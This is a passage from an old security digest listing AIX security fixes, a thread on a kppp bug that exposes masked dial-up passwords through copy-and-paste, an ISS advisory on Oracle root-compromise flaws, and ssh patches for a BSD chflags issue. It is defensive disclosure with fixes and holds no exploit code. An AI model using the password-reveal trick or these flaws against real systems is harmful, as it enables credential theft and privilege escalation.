ONLY ALLOW LOOPBACK AS INTERFACE FOR PORTMAP REGISTER IX70918 SECURITY: RPC.MOUNTD ALLOWS FILENAME DISCOVERY IX71277 SECURITY: VULNERABILITY IN LIBISODE.A IX71403 SECURITY: BUFFER OVERFLOWS IN RNETRC() IX71405 SECURITY: DISCARD LOOPBACK PACKETS ON EXTERNAL INTERFACES IX71517 SECURITY: VULNERABILITY IN PIODMGRSU IX71581 SYSTEM FILE COULD BE OVERWRITTEN BY DTAPPINTEGRATE IX71779 SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING IX71795 SECURITY: VULNERABILITY IN /USR/SBIN/PORTMIR IX71806 NFSV3 ACCESS FOR OTHERS INCORRECT IX71810 SECURITY: BAD TEMPORARY FILE CREATED FROM /USR/BIN/CFGMIR IX71927 CDE LOGIN GIVES INVALID USER NAME MESSAGE BEFORE PW ENTERED IX72021 SECURITY: BUFFER OVERFLOW IN XDAT IX73022 NFS UID MISMATCH POSSIBLE ON CREATE IX73076 SECURITY: FTP BOUNCE VULNERABILITY IX73430 SEC: /USR/SBIN/MKLV SHELL SCRIPT HAS SET-UID BIT SET IX73437 SECURITY: VULNERABILITY IN DTAPPGATHER IX73580 SECURITY: TELNET DENIAL OF SERVICE ATTACK IX73755 PTY_SETNAME MISMANAGES THE PROCESS CREDENTIAL IX73893 PCNFSD DAEMON UPDATES WTMP FILE INCORRECTLY IX73949 SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS IX74023 PROGRAMS USING LEX GENERATED SOURCE COREDUMPS IX74335 SECURITY: NFS NOT HANDLING EXPORTS CORRECTLY IX75157 BAD FILE HANDLE CAN CRASH LOCK DAEMON IX75195 ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH IX75417 SECURITY HOLE IN TN3270 IX76015 NFS V2 DOES HANDLE 65535 AS A UID IX76268 SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS IX76269 SECURITY: DPID2 CORE DUMPS IN WORLD WRITABLE DIRECTORY IX76270 SECURITY HOLE IN FTP, TFTP, UTFTP IX76272 SECURITY: VULNERABILITY IN DIGEST IX76276 SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ IX76853 SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES IX76861 REFRESHING INETD TOO MANY TIMES CAN KILL IT IX76863 SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS IX76867 SECURITY: /BIN/MAN CREATES INSECURE TEMPORARY FILES IX76872 BOS.NET.TCP.CLIENT UPDATES RE-ENABLE SNMP AND DPID2 IX76875 SECURITY: NON-ROOT USERS CAN CREATE AND BIND TO AF_NDD SOCKETS IX76878 SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE IX76879 REMOVE POTENTIAL SECURITY EXPOSURE FROM NETLSD IX76886 SECURITY: SORT CREATES INSECURE TEMPORARY FILES IX76959 BIND: CERT ADVISORY CA-98.05 IX76984 LIBBSD SLEEP() RACE CONDITION IX77009 CORE FILE MAY CONTAIN DATA FROM OTHER USERS IX77089 SETUPTERM CAN CORE DUMP IX77506 CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE IX77830 SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM. IX77902 IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS IX78596 SECURITY: VULNERABILITY IN GROUP SHUTDOWN IX78616 SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER IX78641 "RCP SECURITY PROBLEM" IX78673 SECURITY: BUFFER OVERFLOWS IN XAW AND XMU. IX78729 SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN IX79037 SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS IX79447 SECURITY: CRON CREATES INSECURE LOCK FILE IX79473 SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS IX79836 SECURITY: VULNERABILITY IN GROUP SHUTDOWN IX79893 SECURITY: PORTMAP CREATES INSECURE TEMPORARY FILES IX80138 SECURITY: INSECURE CREATION OF LPD LOCK FILE IX80791 SECURITY: BUFFER OVERFLOWS IN IMAPD IX81232 SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG IX81317 FORCE REXECD USER PRIVILEDGES IX81360 SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES IX81361 SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS IX81364 SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS IX81366 SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS IX81369 SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS IX81370 SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS IX81377 SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES IX81441 SECURITY: VULNERABILITY IN RPC.TTDBSERVERD IX81506 SECURITY: MORE VULNERABILITIES IN PCNFSD IX81579 SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS IX82703 SECURITY:LIBNSL BUFFER OVERRUNS IX84230 SECURITY : MAILBOX GETS CORRUPTED IX85206 SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS IX85555 SECURITY: BUFFER OVERFLOW IN FTP CLIENT IX85599 BOOTP: CERT ADVISORY IX86841 SVCAUTH_UNIX CRASH ON NEGATIVE NUMBER IX87003 REMBAK FAILS WHEN INVOKED WITH VERY LONG USERNAME/HOSTNAME IX87730 STOP UNCOMMENTING RPC DAEMONS IN /ETC/INETD.CONF AFTER NFS IX88020 ADD FINGER TIMEOUT IX88195 SECURITY: INSECURE TEMPORARY FILES IN CMDSNAP SCRIPTS IX88261 SECURITY: SNAP MAY LEAK SENSITIVE INFORMATION IX89281 SECURITY: VULNERABILITY IN INFOEXPLORER DAEMON (INFOD) IX89893 SECURITY: BUFFER OVERFLOW IN DTSPCD IY01573 SECURITY: NFS SCRIPTS CREATE INSECURE TEMPORARY FILES IY01610 SECURITY: INSECURE TEMPORARY FILES IN /ETC/RC.POWERFAIL =========================================================================== AIX 4.1 APARs IX55363 CERT ADVISORY CA-95:17 - YPUPDATED VULNERABILITY IX55931 CERT ADVISORY ON RPC.STATD IX56717 DDTERM PROBLEM AND 256 BYTES LOST AT EACH FAILING OPEN. IX57720 SECURITY PROBLEM IN SENDMAIL IX58516 /TMP/XLOGFILE HAS WRONG PERMISSION. IX59453 LARGE ICMP PACKETS CAN CRASH MACHINE IX59742 RDIST HAS A SECURITY HOLE. IX60068 /VAR/DT SECURITY PROBLEM IX60680 SECURITY: POSSIBLE BUFFER OVERFLOW IN RWHOD IX60873 NETWORK INTERFACES PADDING TO MINIMUM LENGTH LEAVE OLD DATA IN IX60890 BUFFER OVERFLOW CAUSES CORE DUMP IN TZSET() IX60894 POSSIBLE BUFFER OVERFLOW FOR TZ IX61019 BUFFER OVERFLOW IN GETHOSTBYNAME() IX61031 BUFFER OVERFLOW IN LIBXT.A IX61162 CERTS VU#12851:SENDMAIL GIVES LOCAL USER ACCESS TO DEFAULT USER IX61306 CERTS#12002:SENDMAIL LETS USER BECOME ROOT WITH CHFN COMMAND IX62476 CERT: SYN FLOOD DENIAL-OF-SERVICE ATTACKS IX64203 SECURITY: LQUERYPV ALLOWS NON-ROOT USER TO READ ANY FILE IX64459 CERTS:VU#3075 SENDMAIL VULNERABILITY IX65472 CERT: BUFFER OVERFLOW IN TALKD IX65537 CERT: FTPD RACE CONDITION IN SIGNAL HANDLING IX65682 SECURITY: BUFFER OVERFLOW IN /USR/SBIN/LOGIN IX65979 /TMP/LAST_UUID SHOULD NOT BE WORLD WRITABLE AND RPC__PKT_NAME ER IX66055 /USR/SBIN/MOUNT CREATES ROOT-OWNED CORE IX66231 CORE DUMP FOR ILLEGAL LENGTH STRING IN SOME LVM COMMANDS IX66340 SECURITY: LIBPATH USED FOR SETGID EXECUTABLES IX66449 SECURITY: BUFFER OVERFLOWS IN LIBXT.A IX66679 SECURITY: "PIPEBUG IN SENDMAIL" IX66736 SECURITY: BUFFER OVERFLOWS IN LIBX11.A IX66826 LIBBSD SLEEP() RACE CONDITION IX67272 /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOGIN IX67276 WHEN PRINCIPAL NAME EXCEEDS 1024 CHARACTERS SECD CORES IX67317 CERT: POSSIBLE BUFFER OVERFLOW IN FINGER DAEMON IX67407 CERT: BUFFER OVERFLOW IN NLS ENVIRONMENT VARIABLES IX67601 SECURITY: HOSTS.EQUIV SHOULD BE IGNORED IF WORLD-WRITABLE IX68086 SECURITY: VULNERABILITY IN RPC.PCNFSD IX68143 SECURITY: VULNERABILITY IN SRCMSTR IX68190 SECURITY: BUFFER OVERFLOWS IN XLOCK IX68249 BUFFER OVERFLOWS IN /USR/SBIN/MOUNT IX68412 RECONNECTING A TCP SOCKET CAN CRASH THE SYSTEM IX68688 SECURITY: POSSIBLE BUFFER OVERFLOW IN GECOS HANDLING IX68706 SECURITY: X11 RESOURCE MANAGER BUFFER OVERFLOW. IX68749 CERT : CMSD SECURITY PROBLEM IX68834 CORE FILE MAY CONTAIN DATA FROM OTHER USERS IX69083 BUFFER OVERFLOW IN DTTERM. IX69104 BUFFER OVERFLOW IN XTERM. IX69168 SECURITY: BUFFER OVERFLOW IN WRITESRV DAEMON IX69170 SECURITY: BUFFER OVERFLOW IN /BIN/RCP IX69179 SECURITY: BUFFER OVERFLOW IN DTACTION IX69698 SECURITY: BUFFER OVERFLOW IN AIXTERM IX70029 LARGE MMAP REGION CAN RUN OUT OF PAGING SPACE AND HANG IX70100 ONLY ALLOW LOOPBACK AS INTERFACE FOR PORTMAP REGISTER IX70171 POSSIBLE COREDUMP IN SETUPTERM() IX70236 SECURITY: CACHE POISONING IX70238 SECURITY: DISALLOW SENDMAIL -C FOR USERS IN GROUP SYSTEM IX70352 POSSIBLE COREDUMP IN TPARM() ROUTINE IX70367 SECURITY: COPYCORE CREATES WORLD-READABLE DUMPS IX70368 SECURITY: BUFFER OVERFLOW IN /USR/LIB/ERRDEMON IX70370 CERT: MKNOD RACE CONDITION AND BUFFER OVERFLOW IX70400 REFRESHING INETD TOO MANY TIMES CAN KILL IT IX70659 SECURITY: SYSLOG DENIAL-OF-SERVICE VULNERABILITY IX70876 SECURITY: BUFFER OVERFLOW IN RDIST IX70885 SECURITY: FTP CLIENT INTERPRETS SERVER PROVIDED FILENAMES IX71125 SECURITY: RPC.MOUNTD ALLOWS FILENAME DISCOVERY IX71366 SECURITY: DISCARD LOOPBACK PACKETS ON EXTERNAL INTERFACES IX71391 SECURITY: BUFFER OVERFLOWS IN RNETRC() IX71464 MAKE NSLOOKUP SUID ROOT ONLY FOR RES_INIT IX71478 SECURITY: VULNERABILITY IN LIBISODE.A IX71514 SECURITY: VULNERABILITY IN PIODMGRSU IX71580 SYSTEM FILE COULD BE OVERWRITTEN BY DTAPPINTEGRATE IX71832 SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING IX72020 SECURITY: BUFFER OVERFLOW IN XDAT IX73075 SECURITY: FTP BOUNCE VULNERABILITY IX73427 SECURITY: TELNET DENIAL OF SERVICE ATTACK IX73436 SECURITY: VULNERABILITY IN DTAPPGATHER IX73615 SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ IX73948 SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS IX74022 PROGRAMS USING LEX GENERATED SOURCE COREDUMPS IX74421 CSH CORE DUMPS WHEN ENV VARIABLE IS LONGER THAN 2K IX74457 FIXED VULNERABILITY IN DIGEST IX74663 SEC: /USR/SBIN/MKLV SHELL SCRIPT HAS SET-UID BIT SET IX74773 ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH IX75149 SECURITY: /BIN/MAN CREATES INSECURE TEMPORARY FILES IX76195 SECURITY HOLE IN TN3270 IX76329 SECURITY HOLE IN FTP, TFTP, UTFTP IX76330 SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES IX76331 SECURITY: NON-ROOT USERS CAN CREATE AND BIND TO AF_NDD SOCKETS IX76332 SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS IX76333 SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS IX76334 SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE IX76522 PTY_SETNAME MISMANAGES THE PROCESS CREDENTIAL - 3 IX76717 SECURITY: NOTIFYMETH CREATES WORLD-WRITABLE FILES IX76846 SECURITY: SORT CREATES INSECURE TEMPORARY FILES IX76877 REMOVE POTENTIAL SECURITY EXPOSURE FROM NETLSD IX76958 BIND: CERT ADVISORY CA-98.05 IX77509 CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE IX77913 SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM. IX78350 IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS IX78696 SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN IX78711 CERT: VULNERABILITY IN YPPROC_XFR RPC IX78956 SECURITY: BUFFER OVERFLOWS IN XAW AND XMU. IX78957 SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER IX79044 SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS IX79472 SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS IX80137 SECURITY: INSECURE CREATION OF LPD LOCK FILE IX80158 SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS IX80160 SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS IX80163 SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS IX80183 SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS IX80840 SECURITY:LIBNSL BUFFER OVERRUNS IX80882 POST COMMAND SHOULD NOT BE SUID IX81440 SECURITY: VULNERABILITY IN RPC.TTDBSERVERD IX81505 SECURITY: MORE VULNERABILITIES IN PCNFSD IX81651 SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS IX81914 SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG IX83911 SVCAUTH_UNIX CRASH ON NEGATIVE NUMBER IX83929 SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES IX83932 SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS IX83943 SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES IX84640 SECURITY: VULNERABILITY IN INFOEXPLORER DAEMON (INFOD) IX85553 SECURITY: BUFFER OVERFLOW IN FTP CLIENT IX85598 BOOTP: CERT ADVISORY IX85650 SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS IX87728 STOP UNCOMMENTING RPC DAEMONS IN /ETC/INETD.CONF AFTER NFS IX88018 ADD FINGER TIMEOUT IX89806 SECURITY: BUFFER OVERFLOW IN DTSPCD IY00254 SECURITY: NFS SCRIPTS CREATE INSECURE TEMPORARY FILES =========================================================================== ================================== 1.27-:AIX security summary (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.28-:Get paste kppp *'s (begin) ================================ Well alot of dial up tools do this put your password in * so you can let other people use your computer and dial up and they wont know what your password is.. But in kppp all you have to do to fix out whats UNDER the * is just CUT and PASTE.. Thats right.. Just COPY the *'s and paste then to a term and you can see what there password is... I am not sure if this is a problem or what.. But there is no reason to have the *'s if they are so easy to get past... btw somone might want to report this to the makers of kppp.. --flipz _________________________________________________________________________________________________________ 1.28-:Get paste kppp *'s ; réponse (1/1) : _________________________________________________________________________________________________________ Hi ! Tim Jones wrote: > Well alot of dial up tools do this put your password in * > so you can let other people use your > computer and dial up and they wont know what your password > is.. Such usage is strongly discouraged. See below. > But in kppp all you have to do to fix out whats UNDER the * > is just CUT and PASTE.. Thats right.. > Just COPY the *'s and paste then to a term and you can see > what there password is... That's a bug in the password mode of the edit field appearing in Windows Style. As from Qt 2.0 the behavior is corrected and therefore won't show up in KDE 2.0 versions of kppp. To work around this problem in KDE 1.x either o switch your Desktop Style to Motif or o apply the following patch: --- main.cpp 1999/08/17 16:26:52 1.115.2.5 +++ main.cpp 1999/08/26 13:53:30 @@ -537,6 +537,7 @@ l1->addWidget(PW_Label, 2, 1); PW_Edit= new QLineEdit(this); + PW_Edit->setStyle(MotifStyle); PW_Edit->setEchoMode(QLineEdit::Password); MIN_WIDTH(PW_Edit); FIXED_HEIGHT(PW_Edit); @@ -1228,6 +1229,17 @@ AccountingBase::resetCosts(s); } A more elegant fix (in terms of _not_ breaking the visual appearance) has been applied to the CVS (kppp 1.6.22) and will be present in KDE 1.1.2. > I am not sure if this is a problem or what.. But there is no > reason to have the *'s if they are > so easy to get past... Even with the pasting bug corrected it's still not recommended to setup *your* account for someone else. The asterisks are merely a simple mean to visually hide what is being typed. Someone with access to your account or being in possession of your PPP login configuration will always be able to snatch sensitive data in one way or the other. There's always the option of not checking the "Store password" option btw. Harri. ================================ 1.28-:Get paste kppp *'s (End) _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.29-:ISS Security Advisory: Additional Root Compromise Vulnerabilities in Oracle 8 (begin): =========================================================================================== -----BEGIN PGP SIGNED MESSAGE----- ISS Security Advisory August 23, 1999 Additional Root Compromise Vulnerabilities in Oracle 8 Synopsis: Internet Security Systems (ISS) X-Force has discovered additional local vulnerabilities in the Oracle Intelligent Agent that may lead to root compromise. Local attackers may use these vulnerabilities to execute arbitrary commands as root, as well as create root-owned world-writable files anywhere on the file system. Description: This advisory describes additional Oracle Intelligent Agent vulnerabilities that were not described in the ISS X-Force advisory titled, "Root Compromise Vulnerabilities in Oracle 8." This advisory describes two vulnerabilities that stem from trusted environment variables, as well as from implicit trust of rogue Oracle configuration files. The Intelligent Agent binary, 'dbsnmp' is a setuid root executable. The Intelligent Agent is a host-based agent that can be used to monitor, configure, and maintain remote database instances with the Oracle Enterprise manager. The Intelligent Agent is part of the Oracle distribution Fix Information: If remote database administration with the Intelligent Agent is not required, the setuid bit on the 'dbsnmp' binary should be removed. As root, execute the following command: # chmod 755 $ORACLE_HOME/bin/dbsnmp Fix Information: ISS X-Force has worked with Oracle to provide a patch for the vulnerabilities described in this advisory. This patch is available to the public on technet.oracle.com. The direct URL is http://technet.oracle.com/misc/agent/section.htm. Oracle has provided the following information to answer any questions concerning these vulnerabilities. The FAQ is available in HTML format at http://technet.oracle.com/misc/agent/faq.htm. 1. Do I need to upgrade my databases to 8.0.5 or 8.0.6 in order to pick up this fix? No! The Agent may be upgraded on its own, without affecting the version of the databases it manages. To do this, install the Agent and the appropriate patch in a separate Oracle Home. This Agent will be able to manage all targets on its node, irrespective of their versions. 2. What can I do until the fix is available on my platform? While waiting for the fix to be available on your platform, you may use the following workaround: Create a Unix user with normal permissions under which the Agent runs Enterprise Manager jobs. Note: This means all jobs submitted through the Enterprise Manager Console will now run as the 'normal user' instead of the user specified as preferred credentials within the Console. Additionally, the 'normal user' will only have access to the \ORACLE_HOME\Agent directory, unless otherwise specified by the system administrator. Finally, the Agent will only start as the 'normal user.' Steps to apply the workaround: On the system on which the Agent resides, choose/create a Unix user with normal permissions on the system. This user must not be: (A) The user who installed the Oracle RDBMS Server and other Oracle products on the system OR (B) A user with root privileges. The user must belong to a normal group and not "dba". For example: 1 Create a user "agent" belonging to group "agentgrp". 2. Install an Agent in a new Oracle Home as user "agent". Note: DO NOT run the root.sh script under this Oracle Home as part of this installation process. 3. Shutdown the old Agent. 4. Copy files from the Oracle Home of the old Agent to the Oracle Home of the newly installed Agent as follows: cp $ORACLE_HOME(old)/network/agent/* $ORACLE_HOME(new)/network/agent Important: Make sure that the user "agent" owns all files under the $ORACLE_HOME(new)/network/agent directory. Using a terminal window that has the environment of user "agent", start the Agent with: lsnrctl dbsnmp_start For further security, job system access can be prevented if you are using Enterprise Manager version 2.0. To do so, log into the Enterprise Manager Console as a Super Administrator. Using the System -> Manage Administrators option, edit the General Preferences, deactivating 'Access to Job System' for each Administrator you wish to prevent from using the job system. If you are not comfortable with this workaround, you can suspend use of the Agent until the fix is available on your platform. ISS X-Force recommends that all administrators also complete a proactive survey of their Oracle installations to determine which databases require the Intelligent Agent. Additional Information: Dan Ingevaldson of the ISS X-Force primarily researched these vulnerabilities. ISS X-Force would like to thank Oracle Corporation for their response and handling of these vulnerabilities. ________ About ISS: ISS leads the market as the source for e-business risk management solutions, serving as a trusted security provider to thousands of organizations including 21 of the 25 largest U.S. commercial banks and more than 35 government agencies. With its Adaptive Security Management approach, ISS empowers organizations to measure and manage enterprise security risks within Intranet, extranet and electronic commerce environments. Its award-winning SAFEsuite(r) product line of intrusion detection, vulnerability management and decision support solutions are vital for protection in today's world of global connectivity, enabling organizations to proactively monitor, detect and respond to security risks. Founded in 1994, ISS is headquartered in Atlanta, GA with additional offices throughout the U.S. and international operations in Australia/New Zealand, Belgium, France, Germany, Japan, Latin America and the UK. For more information, visit the ISS Web site at www.iss.net or call 800-776-2362. Copyright (c) 1999 by Internet Security Systems, Inc. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of the X-Force. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail xforce@iss.net for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as well as on MIT's PGP key server and PGP.com's key server. Please send suggestions, updates, and comments to: X-Force xforce@iss.net of Internet Security Systems, Inc. -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv iQCVAwUBN8G90zRfJiV99eG9AQE6CwP/SYY0jBqr7KT0STNjT8Kw6dCM6DTboYjj cCTxEc5Lvp7xER2N80RxbUUBdjY+7mftSWlZi9Fi8GAWrIe0Zvmon6zXx9WFbXrh N0ofLlrE1hKppYj4WTmAahDsp46fyA8EL9R+OjnFz+EHYTYQ0LOmtPugUXbzLKo1 WzFZUZLwwTc= =oRM1 -----END PGP SIGNATURE----- ========================================================================================== 1.29-:ISS Security Advisory: Additional Root Compromise Vulnerabilities in Oracle 8 (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.30-:4.4 BSD issue -- chflags (begin) : ======================================== lumpy writes: : Title: : BSD File Flags and Programming Techniques : : Systems Affected: : : 4.4BSD based operating systems. : A majority of the programs that implement a method of login : on 4.4BSD based operating systems. : : Patches to the following are listed : at the end of the advisory: : : FreeBSD, OpenBSD, NetBSD, BSD/OS : : Status information on the following are : listed at the end of the advisory: : : SSH, XFree86, screen : : Synopsis: : : Programmers don't check the return values of calls : and cause big security holes. [SNIP] : SSH : I have heard some reports that ssh(d) does not properly deal : with flags set, but have no official feedback. [SNIP] I have made patches for ssh-2.0.13, {f-secure-ssh, ssh}-2.0.12 and ssh-1.2.27 (this patch should work with f-secure-ssh-1.3.[67], too, though I didn't test that). These essentially fix this problem by clearing the user-settable flags from the files if chown() fails, and re-trying. The patches include information on how to apply them. Enjoy. Patch for problem with tty ownership with chflags and chown in BSD 4.4 variants. Fixes a security bug in tty allocation. This patch works for ssh-2.0.13 (note: doesn't work for ssh-2.0.12. Use patch-ssh-2.0.12-bsd.tty.chown for that). Apply with the following commands: % cd /wherever/you/hold/your/sources/ssh-2.0.13 % patch -p1 -l < /path/to/where/you/saved/patch-ssh-2.0.13-bsd.tty.chown % ./configure --whatever-config-flags-you-use % make clean % make % su Password: *********** # make install # kill -HUP `cat /var/run/sshd2_22.pid` You should be all set. Sami Lehtinen --begin patch-- diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/apps/ssh/agentpath.c ssh-2.0.13/apps/ssh/agentpath.c --- ssh-2.0.13.orig/apps/ssh/agentpath.c Sun Jan 31 14:40:44 1999 +++ ssh-2.0.13/apps/ssh/agentpath.c Wed Aug 11 15:34:03 1999 @@ -78,10 +78,16 @@ } else { - (void)chown(socket_dir_name, uid, 0); + /* We don't do anything special if this fails. (for example, + in BSD's this always fails.)*/ + if (chown(socket_dir_name, uid, 0) < 0) + { + SSH_TRACE(2, ("chown failed for %s, error: %s", \ + socket_dir_name, strerror(errno))); + } } } - + /* Check the owner and permissions */ if (stat(socket_dir_name, &st) != 0 || st.st_uid != uid || (st.st_mode & 077) != 0) @@ -132,8 +138,18 @@ if (listener) { - (void)chown(path, uid, 0); - (void)chmod(path, S_IRUSR | S_IWUSR); + if (chown(path, uid, 0) < 0) + { + /* This fails always with BSD. */ + SSH_DEBUG(2, ("chown failed for %s, error: %s", \ + path, strerror(errno))); + } + + if (chmod(path, S_IRUSR | S_IWUSR) < 0) + { + SSH_DEBUG(2, ("chmod failed for %s, error: %s", \ + path, strerror(errno))); + } } else { diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/apps/ssh/sshchsession.c ssh-2.0.13/apps/ssh/sshchsession.c --- ssh-2.0.13.orig/apps/ssh/sshchsession.c Fri May 7 14:02:03 1999 +++ ssh-2.0.13/apps/ssh/sshchsession.c Tue Aug 10 17:28:35 1999 @@ -1303,8 +1303,12 @@ /* If we have a pseudo-terminal, log that we are now logged out. */ if (session->have_pty) { - ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname)); - ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname); + if (session->stream != NULL) + { + SSH_TRACE(2, ("Destroying session stream, and logging user out.")); + ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname)); + ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname); + } } #ifdef SSH_CHANNEL_X11 diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/configure.in ssh-2.0.13/configure.in --- ssh-2.0.13.orig/configure.in Tue May 11 11:34:37 1999 +++ ssh-2.0.13/configure.in Wed Aug 11 16:50:55 1999 @@ -851,7 +851,7 @@ AC_CHECK_HEADERS(sys/stream.h sys/conf.h) AC_CHECK_FUNCS(revoke openpty _getpty setpgrp setpgid ttyslot authenticate) AC_CHECK_FUNCS(makeutx setlogin openpty _getpty innetgr initgroups setpgrp) -AC_CHECK_FUNCS(signal setrlimit getrlimit setluid getpt) +AC_CHECK_FUNCS(signal setrlimit getrlimit setluid getpt chflags) AC_CHECK_LIB(c, crypt, [true], AC_CHECK_LIB(crypt, crypt)) AC_CHECK_LIB(sec, getspnam) AC_CHECK_LIB(seq, get_process_stats) diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/lib/sshsession/sshunixptystream.c ssh-2.0.13/lib/sshsession/sshunixptystream.c --- ssh-2.0.13.orig/lib/sshsession/sshunixptystream.c Tue May 11 11:35:23 1999 +++ ssh-2.0.13/lib/sshsession/sshunixptystream.c Wed Aug 11 18:04:48 1999 @@ -128,10 +128,86 @@ tty_gid = owner_gid; tty_mode = S_IRUSR|S_IWUSR|S_IWGRP|S_IWOTH; } - + + retry_chown: /* Change ownership of the tty. */ - (void)chown(namebuf, owner_uid, tty_gid); - (void)chmod(namebuf, tty_mode); + if (chown(namebuf, owner_uid, tty_gid) < 0) + { + /* chown failed. Atleast two possibilities. Either we are not + running as root, in which case this is OK, or we are running + on BSD, and somebody has put some flags to the tty. */ + + /* Check whether we are root or not.*/ + if (getuid() != UID_ROOT) + { + /* We are not, and then this is OK. */ + SSH_DEBUG(2, ("chown failed (but we're not root anyway) for " \ + "%s, error %s", namebuf, strerror(errno))); + } + else + { +#ifdef HAVE_CHFLAGS + static Boolean retrying = FALSE; + struct stat st; + + if (!retrying) + { + SSH_TRACE(0, ("chown failed for %s, error: %s. Removing " \ + "user-settable flags, and retrying.", \ + namebuf, strerror(errno))); + + if (stat(namebuf, &st) < 0) + { + ssh_warning("stat failed for %s, error: %s", + namebuf, strerror(errno)); + } + else + { + SSH_TRACE(2, ("Removing user-settable flags with chflags.")); + /* Remove user definable flags. */ + if (chflags(namebuf, st.st_flags & + ~(UF_NODUMP | UF_IMMUTABLE | + UF_APPEND | UF_OPAQUE)) < 0) + { + SSH_TRACE(0, ("chflags failed for %s, error: %s", \ + namebuf, strerror(errno))); + } + else + { + SSH_TRACE(2, ("Retrying...")); + retrying = TRUE; + goto retry_chown; + } + } + } + else + { + SSH_TRACE(0, ("chown failed even with retry. error: %s", \ + strerror(errno))); + } + +#endif /* HAVE_CHFLAGS */ + ssh_warning("ssh_pty_allocate_and_fork: chown failed for %s.", + namebuf); + return SSH_PTY_ERROR; + } + } + + if (chmod(namebuf, tty_mode) < 0) + { + if (getuid() != UID_ROOT) + { + /* We are not, and then this is (probably) OK. */ + SSH_DEBUG(2, ("chmod failed (but we're not root anyway) for " \ + "%s, error %s", namebuf, strerror(errno))); + } + else + { + ssh_warning("ssh_pty_allocate_and_fork: chmod %s: %s", + namebuf, strerror(errno)); + return SSH_PTY_ERROR; + } + } /* Initialize SIGCHLD handling. This will ensure the SIGCHLD won't get delivered until we register the handler for the new process below. */ diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/lib/sshutil/sshfilexfers.c ssh-2.0.13/lib/sshutil/sshfilexfers.c --- ssh-2.0.13.orig/lib/sshutil/sshfilexfers.c Tue May 4 14:05:01 1999 +++ ssh-2.0.13/lib/sshutil/sshfilexfers.c Tue Aug 10 16:58:37 1999 @@ -328,7 +328,7 @@ { #ifdef HAVE_FCHOWN /* Note: we ignore the return value. */ - fchown(fd, attrs->uid, attrs->gid); + (void)fchown(fd, attrs->uid, attrs->gid); #endif /* HAVE_FCHOWN */ } @@ -735,7 +735,7 @@ #endif /* HAVE_FUTIMES */ } - /* XXX some operation(s) may fail (for example 